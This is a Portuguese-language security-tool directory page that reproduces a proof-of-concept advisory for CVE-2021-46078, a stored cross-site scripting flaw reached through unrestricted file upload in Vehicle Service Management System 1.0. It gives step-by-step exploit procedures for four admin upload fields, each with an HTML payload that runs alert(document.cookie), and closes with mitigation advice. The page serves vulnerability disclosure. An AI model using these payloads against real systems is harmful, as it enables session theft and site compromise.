Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-46078 — CVE-2021-46078 - Existe uma vulnerabilidade de upload de arquivo sem restrições no Sourcecodester Vehicle Service Management System 1.0. Um atacante remoto pode enviar arquivos maliciosos, levando a uma vulnerabilidade de Cross-Site Scripting armazenado. | Kitploit
Ferramentas/GitHubGitHub/sanupl/cve-2021-46078
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubsanupl/cve-2021-46078

CVE-2021-46078

CVE-2021-46078 - Existe uma vulnerabilidade de upload de arquivo sem restrições no Sourcecodester Vehicle Service Management System 1.0. Um atacante remoto pode enviar arquivos maliciosos, levando a uma vulnerabilidade de Cross-Site Scripting armazenado.

Ver Repositório
11há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-46078

Título do Exploit: Vehicle Service Management System - Upload de arquivo 'múltiplo' leva a Cross-Site Scripting armazenado

Autor do Exploit: SANU P.L

CVE: CVE-2021-46078

CVSS: 4.8 MÉDIO

Referências:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46078
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46078

Descrição:

Existe uma vulnerabilidade de upload de arquivo sem restrições no Sourcecodester Vehicle Service Management System 1.0. Um atacante remoto pode fazer upload de arquivos maliciosos, levando a uma vulnerabilidade de Cross-Site Scripting armazenado.

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

Exploit:

  1. Faça login no painel administrativo http://localhost/vehicle_service/admin
  2. Navegue até a seção My Account http://localhost/vehicle_service/admin/?page=user

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Salve o código HTML acima como, por exemplo, XSS.html
  2. Na seção My Account, insira todos os detalhes necessários e selecione o arquivo HTML no campo Avatar.
  3. Clique no botão Atualizar.
  4. Abra a imagem do avatar em uma nova aba.
  5. O código JavaScript malicioso é acionado.

2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

Exploit:

  1. Faça login no painel administrativo http://localhost/vehicle_service/admin
  2. Navegue até a seção User List e clique no botão Create New.

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Salve o código HTML acima como, por exemplo, XSS.html
  2. Na página Create New User, insira todos os detalhes necessários e selecione o arquivo HTML no campo Avatar.
  3. Clique no botão Salvar.
  4. Abra a imagem do avatar em uma nova aba.
  5. O código JavaScript malicioso é acionado.

3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

Exploit:

  1. Faça login no painel administrativo http://localhost/vehicle_service/admin
  2. Navegue até a seção Settings http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Salve o código HTML acima como, por exemplo, XSS.html
  2. Na seção Settings, insira todos os detalhes necessários e selecione o arquivo HTML no campo System Logo.
  3. Clique no botão Atualizar.
  4. Abra a imagem do System Logo em uma nova aba.
  5. O código JavaScript malicioso é acionado.

4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

Exploit:

  1. Faça login no painel administrativo http://localhost/vehicle_service/admin
  2. Navegue até a seção Settings http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Salve o código HTML acima como, por exemplo, XSS.html
  2. Na seção Settings, insira todos os detalhes necessários e selecione o arquivo HTML no campo Website Cover.
  3. Clique no botão Atualizar.
  4. Abra a imagem do Website Cover em uma nova aba.
  5. O código JavaScript malicioso é acionado.

Impacto:

Um atacante pode fazer upload de arquivos maliciosos em vários endpoints, o que leva a Cross-Site Scripting armazenado.

Mitigação:

Recomenda-se implementar o seguinte:

  • Nunca aceite um nome de arquivo e sua extensão diretamente sem um filtro de lista branca.
  • Se não houver necessidade de caracteres Unicode, é altamente recomendável aceitar apenas caracteres alfanuméricos e apenas um ponto como entrada para o nome do arquivo e a extensão.
  • Limite o tamanho do arquivo a um valor máximo para evitar ataques de negação de serviço.
  • O diretório de upload não deve ter permissão de "execução".
  • Não confie apenas na validação do lado do cliente.
Baixar ferramenta